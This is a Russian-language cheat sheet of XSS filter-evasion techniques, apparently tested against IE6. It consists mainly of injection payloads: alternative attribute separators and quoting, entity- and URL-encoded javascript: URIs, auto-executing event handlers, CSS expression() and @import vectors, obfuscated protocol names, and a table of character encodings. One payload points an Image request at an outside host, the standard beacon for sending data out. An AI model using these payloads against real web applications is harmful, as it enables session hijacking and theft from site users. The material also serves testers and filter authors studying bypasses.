Один из основных методов защиты сайтов от XSS-уязвимостей - это использование различных фильтров на вводимые пользователем символы. В данной заметке описаны особенности синтаксиса HTML, позволяющие обходить эти фильтры.
Следует отметить, что XSS уязвимости являются браузеро-зависимыми. Все приведенные ниже примеры тестировались в IE6. В других версиях или в других браузерах, примеры могут и не работать. Например символ обратного апострофа (`) является ограничителем атрибутов только в IE. Другие браузеры, такие как Opera например, не считают этот символ огрничителем.
    * Разделители атрибутов тега. Помимо пробела, можно использовать символы: слеш(/), табуляцию, перевод строки. Разделитель можно опустить, если предыдущий атрибут заключен в кавычки.
HTML
      <image/src="1.png"/alt="Подсказка"/border="0">
      <image    src="1.png" alt="Подсказка"  border="0">
      <image
      src="1.png"
      alt="Подсказка"
      border="0">
      <image src="1.png"alt="Подсказка"border="0">
    * Ограничители атрибутов тега. Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать.
HTML
      <image src="" alt="Моя подсказка" border="0">
      <image src="" alt='Моя подсказка' border="0">
      <image src="" alt=`Моя подсказка` border="0">
      <image src="" alt=Подсказка border="0">
    * Кодировки символов. Расшифровка символов в скрипте происходит до его выполнения:
HTML
      <img src=javascript:alert(&quot;ok&quot;)>
      <img src=javascript:alert('ok')>
      <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58
      &#97&#108&#101&#114&#116&#40&#39&#111&#107&#39&#41>
      <a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href)
    * Ограничители символьных литералов в скриптах.
HTML
      <img src=javascript:alert('ok')>
      <img src=javascript:alert("ok")>
      <img src=javascript:a=/ok/;alert(a.source)>
      <img src=javascript:alert(String.fromCharCode(111,107))>
    * Обход фильтрации некоторых символов
HTML
      <img src=javascript:i=new/**/Image();i.src='http://bla.bla'>
      (замена пробела на /**/)
    * Способы запуска скриптов. Несколько способов автоматического запуска скриптов:
HTML
      <script>alert('ok')</script>
      <script src=1.js></script>
      <body onLoad=alert('ok')>
      <meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
      <image src=1.png onload=alert('ok')>
      <image src=javascript:alert('ok')>
      <image src="" onerror=alert('ok')>
      <hr style=background:url(javascript:alert('ok'))>
      <span style=top:expression(alert('ok'))></span>
      <span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span>
       (срабатывает только один раз)
      <style type="text/css">@import url(javascript:alert('ok'));</style>
      <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url
      value=javascript:alert('ok')></object>
      <embed src=javascript:alert('ok');this.avi>
      <embed src=javascript:alert('ok');this.wav>
      <iframe src=javascript:alert('ok')> (только в IE)
      <a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по
      ссылке)
      <a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a>
      (запуск только при клике по ссылке)
      <br SIZE="&{alert('XSS')}">
(только Netscape 4.x)
    * Различные скриптовые протоколы, способы их написания
HTML
      <img src=javascript:alert()>
      <img src=vbscript:AleRt()>
      <img src=JaVasCriPt:alert()>
      <img src="   javascript:alert()"> (пробелы до слова javascript)
      <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()>
      <img src=javascript&#9:alert()>
      <img src=javascript&#10:alert()>
      <img src=javascript&#13:alert()>
      <img src="javascript      :alert()">  (перед двоеточием - символ табуляции)
      <img src="java    scri
      pt:ale    rt()"> (внутри слова javascript - символ табуляции и возврат каретки)
    * Вставки скриптов в style. Операторы скрипта в атрибуте style нужно разделять "\;".
HTML
      <hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>
    * Специальные теги.
HTML
      <image src="1.png" alt="" border="0"> (тег img и image работают одинаково)
      <plaintext> (все, что будет идти после этого тега, будет восприниматься как
      обычный текст - не HTML)
      <textarea> (все, что будет идти после этого тега, будет восприниматься как
      обычный текст - не HTML)
      <xml> (все, что будет идти после этого тега, не будет отображаться)
    * Таблица часто применяемых кодов:
Text
      Символ    Десятичная кодировка        16-ая
кодировка*        Символьная кодировка    URL-кодировка
      " &#34     &#x22;       &quot  %22
      ' &#39     &#x27;              %27
      ` &#96     &#x60;              %60
      <пробел>  &#32      &#x20;                +
      <табуляция>       &#9    &#x09;            %09
      <возврат каретки> &#13     &#x0D;              %0D
      = &#61     &#x3D;              %3D
      < &#60     &#x3C;       &lt    %3C
      > &#62     &#x3E;       &gt    %3E
      \ &#92     &#x5C;              %5C
      % &#37     &#x25;              %25
      + &#43     &#x2B;              %2B
      <короткий дефис>  &#173    &#xAD;      &shy  %AD
      & &#38     &#x26;       &amp   %26
      *-в некоторых случаях точку с запятой можно опустить (если символ стоит в конце строки, или подряд идут несколько символов в данной кодировке)